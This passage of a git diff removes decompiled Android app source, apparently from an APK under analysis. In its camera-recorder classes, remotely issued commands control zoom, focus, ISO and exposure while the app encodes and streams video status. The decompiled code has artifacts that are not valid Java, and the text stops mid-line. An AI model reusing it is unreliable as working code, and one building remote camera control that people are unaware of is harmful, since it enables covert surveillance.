totalCaptureResult.get(CaptureResult.SENSOR_FRAME_DURATION)).longValue()), totalCaptureResult.get(CaptureResult.LENS_APERTURE), totalCaptureResult.get(CaptureResult.LENS_FOCUS_DISTANCE), totalCaptureResult.get(CaptureResult.SENSOR_EXPOSURE_TIME)); - CameraASUSn.this.comand.WriteOut(ByteBuffer.allocate(format.length() + 1).put((byte) 77).put(format.getBytes()).array()); - this.time_out_param = System.currentTimeMillis(); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureFailed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureFailure captureFailure) { - CameraASUSn.this.comand.WriteOut("result=Capture failed."); - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureSequenceAborted(CameraCaptureSession cameraCaptureSession, int i) { - CameraASUSn.this.comand.WriteOut("result=Capture aborted sequence."); - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureSequenceCompleted(CameraCaptureSession cameraCaptureSession, int i, long j) { - CameraASUSn.this.comand.WriteOut("result=Capture completed sequence."); - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureStarted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, long j, long j2) { - this.FrameNumber = j2; - } - }; - - static /* synthetic */ int access$108(CameraASUSn cameraASUSn) { - int i = cameraASUSn.countSend; - cameraASUSn.countSend = i + 1; - return i; - } - - /* JADX INFO: Access modifiers changed from: private */ - public void setParams() { - try { - if (Integer.valueOf(this.CamResFPS[5]).intValue() > 30) { - this.mSessionHI.setRepeatingBurst(this.mSessionHI.createHighSpeedRequestList(this.mRecordingRequestBuilder.build()), this.mCaptureCallback, this.mHandler); - } else { - this.mSession.setRepeatingRequest(this.mRecordingRequestBuilder.build(), this.mCaptureCallback, this.mHandler); - } - } catch (CameraAccessException e) { - this.comand.WriteErr(e); - } - } - - void StartRestart() { - try { - this.mCameraManager = (CameraManager) this.speek.getApplicationContext().getSystemService("camera"); - HandlerThread handlerThread = new HandlerThread("CameraThread"); - this.mThread = handlerThread; - handlerThread.start(); - this.mHandler = new Handler(this.mThread.getLooper()); - long currentTimeMillis = System.currentTimeMillis(); - while (System.currentTimeMillis() - currentTimeMillis <= 10000) { - String[] cameraIdList = this.mCameraManager.getCameraIdList(); - StringBuilder sb = new StringBuilder(); - for (String str : cameraIdList) { - sb.append(str).append(";"); - } - this.comand.WriteOut(String.format("result=camera list: %s (%d)", sb.toString(), Long.valueOf(System.currentTimeMillis() - currentTimeMillis))); - Thread.sleep(300L); - if (cameraIdList.length != 0) { - Stream stream = Arrays.stream(cameraIdList); - final String str2 = this.CamResFPS[1]; - Objects.requireNonNull(str2); - if (stream.anyMatch(new Predicate() { // from class: com.nvav.srv.recorder.CameraASUSn$$ExternalSyntheticLambda0 - @Override // java.util.function.Predicate - public final boolean test(Object obj) { - boolean equals; - equals = str2.equals((String) obj); - return equals; - } - })) { - break; - } - } - } - this.mCameraManager.openCamera(this.CamResFPS[1], this.mDeviceListener, this.mHandler); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - - public CameraASUSn(CameraManager cameraManager, Speek speek, String str, Comand comand) { - this.CamResFPS = str.split(";"); - this.comand = comand; - comand.WriteOut(String.format("result=%s", str)); - this.speek = speek; - StartRestart(); - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public void Stop() { - try { - this.mMediaCodec.signalEndOfInputStream(); - this.mCamera.close(); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - - byte[] putInt(int i) { - return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array(); - } - - private Point toThis(Point point) { - Rect rect = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - point.x = ((point.x * rect.width()) / this.MaxSize.getWidth()) + rect.left; - point.y = ((point.y * rect.height()) / this.MaxSize.getHeight()) + rect.top; - return point; - } - - private String ZoomNew(String str) { - try { - float parseInt = ((Integer.parseInt(str) * (((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue() - 1.0f)) / 100.0f) + 1.0f; - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - int width = rect.width() / 2; - int height = rect.height() / 2; - int width2 = (int) ((rect.width() * 0.5f) / parseInt); - int height2 = (int) ((rect.height() * 0.5f) / parseInt); - Rect rect2 = new Rect(width - width2, height - height2, width + width2, height + height2); - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect2); - setParams(); - return String.format("Zoom x%f (%dx%d) %s [%d,%d,%d,%d]", Float.valueOf(parseInt), Integer.valueOf(rect2.centerX()), Integer.valueOf(rect2.centerY()), str, Integer.valueOf(rect2.left), Integer.valueOf(rect2.top), Integer.valueOf(rect2.right), Integer.valueOf(rect2.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String ZoomPlus(String str, double d) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - float floatValue = ((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue(); - Rect rect2 = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - String[] split = str.split(","); - Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1]))); - int round = (int) Math.round(rect2.width() * d); - int round2 = (int) Math.round(rect2.height() * d); - if (round < rect.width() / floatValue) { - round = (int) (rect.width() / floatValue); - } - if (round2 < rect.height() / floatValue) { - round2 = (int) (rect.height() / floatValue); - } - Rect rect3 = new Rect(point.x - (round / 2), point.y - (round2 / 2), point.x + (round / 2), point.y + (round2 / 2)); - if (rect3.left < 0) { - rect3.right -= rect3.left; - rect3.left = 0; - } - if (rect3.top < 0) { - rect3.bottom -= rect3.top; - rect3.top = 0; - } - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect3); - setParams(); - return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", Integer.valueOf((int) Math.round((rect.width() * rect.height()) / (rect3.width() * rect3.height()))), Integer.valueOf(rect3.centerX()), Integer.valueOf(rect3.centerY()), Integer.valueOf(rect3.left), Integer.valueOf(rect3.top), Integer.valueOf(rect3.right), Integer.valueOf(rect3.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String BrightPlus() { - String str = ""; - try { - int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() + 1; - if (intValue > 4) { - intValue = 4; - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue)); - str = String.format("Brightness %d", Integer.valueOf(intValue)); - setParams(); - return str; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String BrightMinus() { - String str = ""; - try { - int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() - 1; - if (intValue < -4) { - intValue = -4; - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue)); - str = String.format("Brightness %d", Integer.valueOf(intValue)); - setParams(); - return str; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String WhileBlack() { - String str = ""; - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue() == 0 ? 1 : 0)); - str = "Black and white."; - setParams(); - return "Black and white."; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String ZoomMinus(String str) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, new Rect(0, 0, rect.right, rect.bottom)); - setParams(); - return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", 1, Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(rect.left), Integer.valueOf(rect.top), Integer.valueOf(rect.right), Integer.valueOf(rect.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String Monochrom(String str) { - int i = !str.equals("0"); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(i)); - setParams(); - return i == 1 ? "Monochrom enable." : "Monochrom disable."; - } - - private Rect getRect(String str) { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - String[] split = str.split(","); - int parseInt = Integer.parseInt(split[2]); - int parseInt2 = Integer.parseInt(split[3]); - if (parseInt > rect.width()) { - parseInt = rect.width(); - } - if (parseInt2 > rect.height()) { - parseInt2 = rect.height(); - } - Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1]))); - int i = parseInt / 2; - int i2 = parseInt2 / 2; - Rect rect2 = new Rect(point.x - i, point.y - i2, point.x + i, point.y + i2); - if (rect2.top < rect.top) { - rect2.bottom -= rect2.top - rect.top; - rect2.top = rect.top; - } - if (rect2.left < rect.left) { - rect2.right -= rect2.left - rect.left; - rect2.left = rect.left; - } - if (rect2.bottom > rect.bottom) { - rect2.bottom = rect.bottom; - } - if (rect2.right > rect.right) { - rect2.right = rect.right; - } - return rect2; - } - - private String AF(String str) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 2); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0); - setParams(); - Rect rect2 = getRect(str); - if (rect.contains(rect2)) { - rect = rect2; - } - MeteringRectangle[] meteringRectangleArr = {new MeteringRectangle(rect, 0)}; - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, meteringRectangleArr); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 1); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 1); - setParams(); - return String.format("AF: %dx%d [%d,%d,%d,%d,%d]", Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(meteringRectangleArr[0].getX()), Integer.valueOf(meteringRectangleArr[0].getY()), Integer.valueOf(meteringRectangleArr[0].getWidth()), Integer.valueOf(meteringRectangleArr[0].getHeight()), Integer.valueOf(meteringRectangleArr[0].getMeteringWeight())); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String Focus(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0); - float parseFloat = (Float.parseFloat(str) * ((Float) this.properties.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)).floatValue()) / 1000.0f; - this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(parseFloat)); - setParams(); - return String.format("Focus: %f", Float.valueOf(parseFloat)); - } - - private String Sensitivity(String str) { - int parseInt = Integer.parseInt(str); - Range range = (Range) this.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE); - int intValue = ((Integer) range.getLower()).intValue() + ((parseInt * (((Integer) this.properties.get(CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY)).intValue() - ((Integer) range.getLower()).intValue())) / 100); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(intValue)); - setParams(); - return String.format("Sensitivity: %d", Integer.valueOf(intValue)); - } - - private String ISO(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(Integer.parseInt(str))); - setParams(); - return String.format("ISO: %s", str); - } - - private String FPS(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, Long.valueOf(1000000000 / Integer.parseInt(str))); - setParams(); - return String.format("FPS: %s", str); - } - - private String Exposure(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, Long.valueOf(1000000000 / Integer.parseInt(str))); - setParams(); - return String.format("Exposure: %s", str); - } - - private String AE() { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 1); - setParams(); - return "Enable AE"; - } - - private String UserMode(String str) { - String trim = str.trim(); - if (trim.length() > 0) { - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 0); - setParams(); - int parseInt = Integer.parseInt(trim); - if (parseInt == 0) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 1); - } else { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 2); - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_SCENE_MODE, Integer.valueOf(parseInt)); - setParams(); - return String.format("User mode: %s", trim); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - return ""; - } - - private String ABW(String str) { - String trim = str.trim(); - if (trim.length() > 0) { - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AWB_MODE, Integer.valueOf(Integer.parseInt(trim) + 1)); - setParams(); - return String.format("ABW: %s", trim); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - return ""; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public String SetCommand(String str, String str2) { - return str.equals("ZoomPlus") ? ZoomPlus(str2, 0.75d) : str.equals("ZoomMinus") ? ZoomMinus(str2) : str.equals("Zoom") ? ZoomNew(str2) : str.equals("Monochrom") ? Monochrom(str2) : str.equals("WhileBlack") ? WhileBlack() : str.equals("BrightPlus") ? BrightPlus() : str.equals("BrightMinus") ? BrightMinus() : str.equals("Move") ? ZoomPlus(str2, 1.0d) : str.equals("AF") ? AF(str2) : str.equals("Focus") ? Focus(str2) : str.equals("ABW") ? ABW(str2) : str.equals("User_Mode") ? UserMode(str2) : str.equals("Exposure") ? Exposure(str2) : str.equals("Sensitivity") ? Sensitivity(str2) : str.equals("AE") ? AE() : str.equals("SetISO") ? ISO(str2) : str.equals("SetFPS") ? FPS(str2) : str; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int MinISO() { - return this.MinISO; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int MaxISO() { - return this.MaxISO; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int FPS() { - return this.FPS; - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraHUAWEI.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraHUAWEI.java deleted file mode 100644 index 15f4165..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraHUAWEI.java +++ /dev/null @@ -1,775 +0,0 @@ -package com.nvav.srv.recorder; - -import android.graphics.Point; -import android.graphics.Rect; -import android.hardware.camera2.CameraAccessException; -import android.hardware.camera2.CameraCaptureSession; -import android.hardware.camera2.CameraCharacteristics; -import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession; -import android.hardware.camera2.CameraDevice; -import android.hardware.camera2.CameraManager; -import android.hardware.camera2.CaptureFailure; -import android.hardware.camera2.CaptureRequest; -import android.hardware.camera2.CaptureResult; -import android.hardware.camera2.TotalCaptureResult; -import android.hardware.camera2.params.MeteringRectangle; -import android.hardware.camera2.params.StreamConfigurationMap; -import android.media.MediaCodec; -import android.media.MediaCrypto; -import android.media.MediaFormat; -import android.os.Handler; -import android.os.HandlerThread; -import android.util.Log; -import android.util.Range; -import android.util.Size; -import android.view.Surface; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.nio.ByteBuffer; -import java.nio.ByteOrder; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Objects; -import java.util.function.Predicate; -import java.util.stream.Stream; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class CameraHUAWEI implements ICameraRecord { - static boolean Restarting; - static boolean Starting; - String[] CamResFPS; - Size MaxSize; - Size SizeImage; - int aec; - int caem; - int cafm; - MeteringRectangle[] cafr; - int caft; - int cem; - Comand comand; - private byte[] config; - MediaFormat format; - private String id; - float lfd; - private MediaCodec.BufferInfo mBufferInfo; - CameraDevice mCamera; - CameraManager mCameraManager; - Handler mHandler; - Handler mHandler2; - Handler mHandler3; - MediaCodec mMediaCodec; - List mOutputSurfaces; - CaptureRequest.Builder mRecordingRequestBuilder; - private Surface mRecordingSurface; - Thread mRecordingThread; - private CameraCaptureSession mSession; - private CameraConstrainedHighSpeedCaptureSession mSessionHI; - HandlerThread mThread; - HandlerThread mThread2; - HandlerThread mThread3; - CameraCharacteristics properties; - Rect rect; - String sCamera; - Long set; - Long sfd; - Speek speek; - int ss; - private int countSend = 0; - public int MinISO = 0; - public int MaxISO = 0; - public int FPS = 30; - int decr = 5; - private final CameraDevice.StateCallback mDeviceListener = new CameraDevice.StateCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEI.1 - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onClosed(CameraDevice cameraDevice) { - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onOpened(CameraDevice cameraDevice) { - try { - CameraHUAWEI.this.mCamera = cameraDevice; - CameraHUAWEI cameraHUAWEI = CameraHUAWEI.this; - cameraHUAWEI.properties = cameraHUAWEI.mCameraManager.getCameraCharacteristics(CameraHUAWEI.this.mCamera.getId()); - Size[] outputSizes = ((StreamConfigurationMap) CameraHUAWEI.this.properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class); - CameraHUAWEI.this.MaxSize = null; - for (Size size : outputSizes) { - if (size.getWidth() == Integer.parseInt(CameraHUAWEI.this.CamResFPS[2]) && size.getHeight() == Integer.parseInt(CameraHUAWEI.this.CamResFPS[3])) { - CameraHUAWEI.this.MaxSize = size; - } - } - CameraHUAWEI.this.comand.WriteOut(String.format("result=Width:%d Height:%d", Integer.valueOf(CameraHUAWEI.this.MaxSize.getWidth()), Integer.valueOf(CameraHUAWEI.this.MaxSize.getHeight()))); - CameraHUAWEI cameraHUAWEI2 = CameraHUAWEI.this; - cameraHUAWEI2.format = MediaFormat.createVideoFormat("video/avc", cameraHUAWEI2.MaxSize.getWidth(), CameraHUAWEI.this.MaxSize.getHeight()); - CameraHUAWEI.this.format.setInteger("color-format", 2130708361); - CameraHUAWEI cameraHUAWEI3 = CameraHUAWEI.this; - cameraHUAWEI3.FPS = Integer.parseInt(cameraHUAWEI3.CamResFPS[5]); - CameraHUAWEI.this.format.setInteger("bitrate", (int) (Integer.parseInt(CameraHUAWEI.this.CamResFPS[0]) / 1.25d)); - CameraHUAWEI.this.format.setInteger("frame-rate", CameraHUAWEI.this.FPS); - CameraHUAWEI.this.format.setInteger("i-frame-interval", 1); - CameraHUAWEI.this.format.setInteger("max-input-size", 0); - CameraHUAWEI.this.comand.WriteOut(String.format("result=BitRate:%s", CameraHUAWEI.this.CamResFPS[0])); - CameraHUAWEI.this.comand.WriteOut(String.format("result=BitRate:%d", Integer.valueOf(CameraHUAWEI.this.format.getInteger("bitrate")))); - CameraHUAWEI.this.comand.WriteOut(String.format("result=FrameRate:%d", Integer.valueOf(CameraHUAWEI.this.format.getInteger("frame-rate")))); - CameraHUAWEI.this.mMediaCodec = MediaCodec.createEncoderByType("video/avc"); - CameraHUAWEI.this.mMediaCodec.configure(CameraHUAWEI.this.format, (Surface) null, (MediaCrypto) null, 1); - CameraHUAWEI cameraHUAWEI4 = CameraHUAWEI.this; - cameraHUAWEI4.mRecordingSurface = cameraHUAWEI4.mMediaCodec.createInputSurface(); - CameraHUAWEI.this.mOutputSurfaces = new ArrayList(1); - CameraHUAWEI.this.mOutputSurfaces.add(CameraHUAWEI.this.mRecordingSurface); - CameraHUAWEI.this.mCamera.createCaptureSession(CameraHUAWEI.this.mOutputSurfaces, CameraHUAWEI.this.sessionListener, null); - CameraHUAWEI.this.mMediaCodec.start(); - } catch (Exception e) { - CameraHUAWEI.this.comand.WriteErr(e); - } - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onDisconnected(CameraDevice cameraDevice) { - CameraHUAWEI.Restarting = true; - CameraHUAWEI.Starting = false; - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onError(CameraDevice cameraDevice, int i) { - CameraHUAWEI.this.comand.WriteOut(String.format("result=C.E(%d)", Integer.valueOf(i))); - } - }; - CameraCaptureSession.StateCallback sessionListener = new CameraCaptureSession.StateCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEI.2 - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onClosed(CameraCaptureSession cameraCaptureSession) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onConfigureFailed(CameraCaptureSession cameraCaptureSession) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onConfigured(CameraCaptureSession cameraCaptureSession) { - try { - CameraHUAWEI.this.mSession = cameraCaptureSession; - CameraHUAWEI cameraHUAWEI = CameraHUAWEI.this; - cameraHUAWEI.mRecordingRequestBuilder = cameraHUAWEI.mCamera.createCaptureRequest(3); - CameraHUAWEI.this.mRecordingRequestBuilder.addTarget(CameraHUAWEI.this.mRecordingSurface); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(Integer.valueOf(Integer.parseInt(CameraHUAWEI.this.CamResFPS[4])), Integer.valueOf(Integer.parseInt(CameraHUAWEI.this.CamResFPS[5])))); - CameraHUAWEI.this.setParams(); - if (CameraHUAWEI.Restarting) { - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, CameraHUAWEI.this.rect); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(CameraHUAWEI.this.aec)); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(CameraHUAWEI.this.cem)); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, CameraHUAWEI.this.cafr); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(CameraHUAWEI.this.ss)); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, CameraHUAWEI.this.sfd); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, CameraHUAWEI.this.set); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraHUAWEI.this.cafm)); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, Integer.valueOf(CameraHUAWEI.this.caem)); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, Integer.valueOf(CameraHUAWEI.this.caft)); - CameraHUAWEI.this.setParams(); - } - CameraHUAWEI.this.mRecordingThread = new Thread() { // from class: com.nvav.srv.recorder.CameraHUAWEI.2.1 - @Override // java.lang.Thread, java.lang.Runnable - public void run() { - while (CameraHUAWEI.Starting) { - try { - CameraHUAWEI.this.encode(false); - sleep(1L); - } catch (Exception e) { - CameraHUAWEI.this.comand.WriteErr(e); - } - } - try { - CameraHUAWEI.this.rect = (Rect) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - CameraHUAWEI.this.aec = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue(); - CameraHUAWEI.this.cem = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue(); - CameraHUAWEI.this.cafr = (MeteringRectangle[]) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_REGIONS); - CameraHUAWEI.this.cafm = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_MODE)).intValue(); - CameraHUAWEI.this.caft = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_TRIGGER)).intValue(); - CameraHUAWEI.this.lfd = ((Float) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.LENS_FOCUS_DISTANCE)).floatValue(); - CameraHUAWEI.this.caem = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_MODE)).intValue(); - CameraHUAWEI.this.ss = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_SENSITIVITY)).intValue(); - CameraHUAWEI.this.sfd = (Long) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_FRAME_DURATION); - CameraHUAWEI.this.set = (Long) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_EXPOSURE_TIME); - } catch (Exception e2) { - CameraHUAWEI.this.comand.WriteErr(e2); - } - try { - CameraHUAWEI.this.mCamera.close(); - } catch (Exception e3) { - CameraHUAWEI.this.comand.WriteErr(e3); - } - try { - if (CameraHUAWEI.this.mMediaCodec != null) { - CameraHUAWEI.this.mMediaCodec.stop(); - CameraHUAWEI.this.mMediaCodec.release(); - } - } catch (Exception e4) { - CameraHUAWEI.this.comand.WriteErr(e4); - } - try { - if (CameraHUAWEI.this.mRecordingSurface != null) { - CameraHUAWEI.this.mRecordingSurface.release(); - CameraHUAWEI.this.mRecordingSurface = null; - } - } catch (Exception e5) { - CameraHUAWEI.this.comand.WriteErr(e5); - } - try { - CameraHUAWEI.this.mOutputSurfaces.clear(); - CameraHUAWEI.this.mOutputSurfaces = null; - } catch (Exception e6) { - CameraHUAWEI.this.comand.WriteErr(e6); - } - CameraHUAWEI.this.mMediaCodec = null; - CameraHUAWEI.this.mCamera = null; - try { - CameraHUAWEI.this.mRecordingRequestBuilder.removeTarget(CameraHUAWEI.this.mRecordingSurface); - } catch (Exception e7) { - CameraHUAWEI.this.comand.WriteErr(e7); - } - try { - sleep(750L); - } catch (Exception e8) { - CameraHUAWEI.this.comand.WriteErr(e8); - } - try { - CameraHUAWEI.this.mThread.interrupt(); - CameraHUAWEI.this.mThread2.interrupt(); - CameraHUAWEI.this.mThread3.interrupt(); - } catch (Exception e9) { - CameraHUAWEI.this.comand.WriteErr(e9); - } - if (CameraHUAWEI.Restarting) { - try { - CameraHUAWEI.this.StartRestart(); - } catch (Exception e10) { - CameraHUAWEI.this.comand.WriteErr(e10); - } - } - } - }; - CameraHUAWEI.this.mRecordingThread.start(); - if (CameraHUAWEI.Restarting) { - try { - Thread.sleep(250L); - } catch (Exception e) { - CameraHUAWEI.this.comand.WriteErr(e); - } - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraHUAWEI.this.cafm)); - CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(CameraHUAWEI.this.lfd)); - CameraHUAWEI.Restarting = false; - CameraHUAWEI.this.setParams(); - } - } catch (Exception e2) { - CameraHUAWEI.this.comand.WriteErr(e2); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onActive(CameraCaptureSession cameraCaptureSession) { - Log.d("CameraCaptureSession ac", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onReady(CameraCaptureSession cameraCaptureSession) { - Log.d("CameraCaptureSession re", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - }; - private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEI.3 - long time_out_param = System.currentTimeMillis(); - double lat = 0.0d; - double lon = 0.0d; - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureFailed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureFailure captureFailure) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureSequenceAborted(CameraCaptureSession cameraCaptureSession, int i) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureSequenceCompleted(CameraCaptureSession cameraCaptureSession, int i, long j) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureStarted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, long j, long j2) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureCompleted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, TotalCaptureResult totalCaptureResult) { - if (System.currentTimeMillis() - this.time_out_param > 200) { - String format = String.format("%f;%f;%d;%d;%.2f;%f;%d", 